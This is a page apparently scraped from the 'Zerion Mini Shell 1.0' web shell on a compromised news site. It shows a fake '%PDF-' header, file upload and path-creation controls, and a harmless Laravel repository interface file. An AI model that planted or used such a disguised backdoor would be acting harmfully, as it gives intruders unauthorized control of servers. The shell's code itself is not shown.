%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/vendor/czim/laravel-repository/src/Contracts/
Upload File :
Create Path :
Current File : /var/www/html/news/vendor/czim/laravel-repository/src/Contracts/HandlesEloquentSavingInterface.php

<?php

namespace Czim\Repository\Contracts;
use Illuminate\Database\Eloquent\Model;


/**
 * The point of this is to provide Eloquent saving through some
 * intermediate object (i.e. a Repository) to make model manipulation
 * easier to test/mock.
 */
interface HandlesEloquentSavingInterface
{
    /**
     * Executes a save on the model provided
     *
     * @param  Model $model
     * @param  array $options
     * @return bool
     */
    public function save(Model $model, array $options = array());
}

Zerion Mini Shell 1.0